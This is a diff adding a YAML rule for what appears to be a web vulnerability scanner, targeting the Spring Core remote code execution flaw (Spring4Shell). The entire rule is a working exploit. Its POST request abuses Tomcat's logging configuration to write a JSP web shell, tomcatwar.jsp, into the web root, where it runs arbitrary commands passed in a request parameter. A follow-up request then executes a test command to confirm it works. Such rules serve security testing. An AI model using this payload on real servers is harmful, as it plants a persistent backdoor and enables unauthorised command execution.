diff --git a/WebScan/pocs/spring-core-rce.yml b/WebScan/pocs/spring-core-rce.yml
new file mode 100644
index 0000000..b7ad80d
--- /dev/null
+++ b/WebScan/pocs/spring-core-rce.yml
@@ -0,0 +1,27 @@
+name: poc-yaml-spring-core-rce
+manual: true
+transport: http
+set:
+    r1: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: /
+    headers:
+        suffix: "%>//"
+        c1: "Runtime"
+        c2: "<%"
+        DNT: "1"
+        Content-Type: "application/x-www-form-urlencoded"
+    body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
+    follow_redirects: true
+    expression: |
+        response.status == 200
+  - method: GET
+    path: /tomcatwar.jsp?data=j&word=echo%20{r1}
+    follow_redirects: false
+    expression: |
+        response.status == 200 && response.body.bcontains(bytes(string(r1)))
+detail:
+    author: marmot
+    links:
+        - https://github.com/Mr-xn/spring-core-rce